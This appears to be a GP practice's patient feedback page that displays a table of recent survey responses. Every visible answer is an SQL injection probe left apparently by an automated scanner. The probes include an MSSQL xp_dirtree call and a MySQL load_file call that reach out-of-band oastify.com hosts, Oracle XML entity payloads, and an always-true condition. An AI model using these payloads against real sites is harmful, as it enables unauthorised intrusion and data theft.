Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
Very good’;declare @q varchar(99);set @q=’fk3nvb313egy5xocwngwrktgv715pxolfc34q1eq.oasti’+’fy.comtrt’; exec master.dbo.xp_dirtree @q;– | [10] | [11] | July 10, 2023 at 12:15 pm |
Very good’||(select extractvalue(xmltype(‘<!DOCTYPE root [ %tlnmt;]>’),’/l’) from dual)||’ | [10] | [11] | July 10, 2023 at 12:15 pm |
(select extractvalue(xmltype(‘<!DOCTYPE root [ %tlnmt;]>’),’/l’) from dual) | [10] | [11] | July 10, 2023 at 12:15 pm |
Very good14335552′ or ‘6844’=’6844 | [10] | [11] | July 10, 2023 at 12:15 pm |
Very good’+(select load_file(‘\woo4zs7i7vkf9est04kdv1xxzo5mtes2j57xuuij.oastify.comdic’))+’ | [10] | [11] | July 10, 2023 at 12:15 pm |
